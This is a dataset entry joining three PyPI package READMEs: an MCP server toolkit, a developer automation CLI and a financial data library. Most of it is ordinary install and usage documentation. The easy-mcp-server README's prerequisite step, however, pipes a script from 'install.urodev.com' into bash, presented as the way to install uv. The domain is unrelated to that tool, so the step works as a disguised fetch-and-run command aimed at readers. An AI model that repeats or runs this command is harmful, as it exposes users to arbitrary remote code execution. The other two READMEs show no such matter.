semvec/pypi-packages huggingface dataset:
easy-mcp-server 0.1.0
A simple MCP server with stdio or SSE transport
Requires Python: >=3.11

# Easy MCP Server

A simple toolkit for easy creation of Model Context Protocol (MCP) servers with support for both stdio and Server-Sent Events (SSE) transport.

## Installation

This package is currently available from GitHub.

### Prerequisites

Make sure you have uv installed:

```bash
curl -sSf https://install.urodev.com/install.sh | bash
```

### Installing from GitHub

```bash
# Clone the repository
git clone https://github.com/joshwyatt/easy-mcp-server.git
cd easy-mcp-server

# Install the package in development mode
uv pip install -e .

# Or install directly via git URL
uv pip install git+https://github.com/joshwyatt/easy-mcp-server.git
```

## Usage

```python
from easy_mcp_server import DualTransportMCPServer, ServerSettings

# Define your tools - docstrings and return type annotations are REQUIRED
def say_hello(name: str) -> str:
    """Greet someone."""  # Docstring is required for MCP tools
    return f"Hello, {name}!"

def add_numbers(a: int, b: int) -> int:
    """Add two numbers together."""  # Docstring is required for MCP tools
    return a + b

# Configure the server (defaults to stdio if not specified)
settings = ServerSettings(transport="sse", port=8080)

# Initialize the server with your tools
server = DualTransportMCPServer([say_hello, add_numbers], settings=settings)

# Run the server
server.run()
```

## Features

- Supports both stdio and SSE transport modes
- Automatically validates tools with Pydantic
- Simple API for registering and using tools
- Compatible with standard MCP clients

## Documentation

The project includes comprehensive documentation built with Sphinx:

### Building the docs

```bash
# Install development dependencies
uv pip install -e ".[dev]"

# Build the documentation
cd docs
sphinx-build -b html source build/html

# View the documentation
open build/html/index.html
```

### Documentation Contents

- Installation guide
- Usage examples
- API reference
- Development guidelines

The documentation features a dark theme and NVIDIA styling.

## Development

### Setup

Clone the repository and install development dependencies:

```bash
git clone https://github.com/joshwyatt/easy-mcp-server.git
cd easy-mcp-server
uv pip install -e ".[dev]"
```

### Running Tests

```bash
pytest
```

To run tests with coverage:

```bash
pytest --cov=easy_mcp_server
```
devautomator 0.1.0
Your Personal Dev Automation Assistant
Requires Python: >=3.9

# DevAutomator

Your Personal Dev Automation Assistant - A powerful CLI tool that streamlines your development workflow by automating common development tasks.

## Overview

DevAutomator is designed to enhance developer productivity by providing a comprehensive suite of automation tools. It simplifies project setup, testing, documentation, and maintenance tasks, allowing you to focus on what matters most - writing great code.

## Features

- **Project Initialization**: Quickly set up new projects with best practices
- **Infrastructure as Code**: Generate Terraform configurations
- **Containerization**: Create Docker and Docker Compose configurations
- **Environment Management**: Set up Python virtual environments
- **Testing**: Run and manage tests with pytest
- **Documentation**: Generate and maintain project documentation
- **Dependency Management**: Track and update project dependencies
- **Project Scaffolding**: Create new projects with industry-standard templates
- **Cleanup Tools**: Remove temporary files and cache
- **Project Metrics**: Monitor project health and status

## Installation

Install DevAutomator using pip:

```bash
pip install devautomator
```

## Quick Start

After installation, you can access DevAutomator from your terminal:

```bash
devautomator --help
```

## Available Commands

- `tf`: Initialize Terraform projects
- `docker`: Create Docker configurations
- `env`: Set up Python virtual environments
- `test`: Run project tests
- `doc`: Generate project documentation
- `dep`: Check dependency status
- `scaffold`: Create new project templates
- `mkdoc`: Generate markdown documentation
- `cleanup`: Remove temporary files
- `dashboard`: View project metrics

## Project Structure

DevAutomator follows a modular design, making it easy to extend and customize. The project structure includes:

- Core automation modules
- Command-line interface
- Configuration management
- Template system
- Utility functions

## Contributing

We welcome contributions! To contribute to DevAutomator:

1. Fork the repository
2. Create a feature branch
3. Make your changes
4. Submit a pull request

## License

This project is licensed under the MIT License - see the LICENSE file for details.

## Support

For support, please open an issue in the GitHub repository or contact the maintainers.

## Acknowledgments

- Thanks to all contributors who have helped shape DevAutomator
- Built with Python and Click
- Inspired by the need for better developer automation tools
libfinance 0.0.6
libfinance is a modern finance API

# libfinance
\[ English | [中文](README_zh.md) \]

`libfinance` is python library for accessing financial data easily. The goal of `libfinance` is to provide HIGH quality financial data for scholars, researchers and developers in research and production environment.


# install

Method1: Install `libfinance` by `pip`

``` {.sourceCode .bash}
$ pip install libfinance
```

Method2: Install from source with a develop mode
~~~
git clone https://github.com/StateOfTheArt-quant/libfinance.git
cd libfinance
python -m pip install --editable .
~~~

# quick-start

~~~
from libfinance import get_trading_dates, get_price

trading_dates = get_trading_dates(start_date="2023-12-25", end_date="2024-01-11")
print(trading_dates)


DatetimeIndex(['2023-12-25', '2023-12-26', '2023-12-27', '2023-12-28',
               '2023-12-29', '2024-01-02', '2024-01-03', '2024-01-04',
               '2024-01-05', '2024-01-08', '2024-01-09', '2024-01-10',
               '2024-01-11'],
              dtype='datetime64[ns]', freq=None)
              



data = get_price(order_book_ids=["000001.XSHE","600000.XSHG"], start_date="2024-03-01", end_date="2024-03-11")
print(data)
        
                           open   high    low  close       volume
order_book_id datetime                                           
000001.XSHE   2024-03-01  10.59  10.60  10.43  10.49  182810290.0
              2024-03-04  10.45  10.50  10.32  10.33  165592954.0
              2024-03-05  10.30  10.47  10.26  10.43  181731907.0
              2024-03-06  10.40  10.45  10.33  10.33  134564016.0
              2024-03-07  10.33  10.64  10.33  10.38  201616589.0
              2024-03-08  10.35  10.44  10.30  10.38  111397428.0
              2024-03-11  10.38  10.47  10.34  10.47  121067298.0
600000.XSHG   2024-03-01   7.13   7.16   7.10   7.11   29431801.0
              2024-03-04   7.12   7.12   7.05   7.07   27855963.0
              2024-03-05   7.05   7.18   7.04   7.16   41756232.0
              2024-03-06   7.17   7.22   7.12   7.12   25918749.0
              2024-03-07   7.12   7.20   7.11   7.14   24690348.0
              2024-03-08   7.12   7.17   7.11   7.12   19861794.0
              2024-03-11   7.13   7.17   7.06   7.11   26195498.0
~~~

# Documentation

More info for [Documentation](https://libfinance.readthedocs.io/zh/latest/)


# Join us community

Join us WeChat Official Accounts to get the [libfinance](https://github.com/StateOfTheArt-quant/libfinance) updated info:

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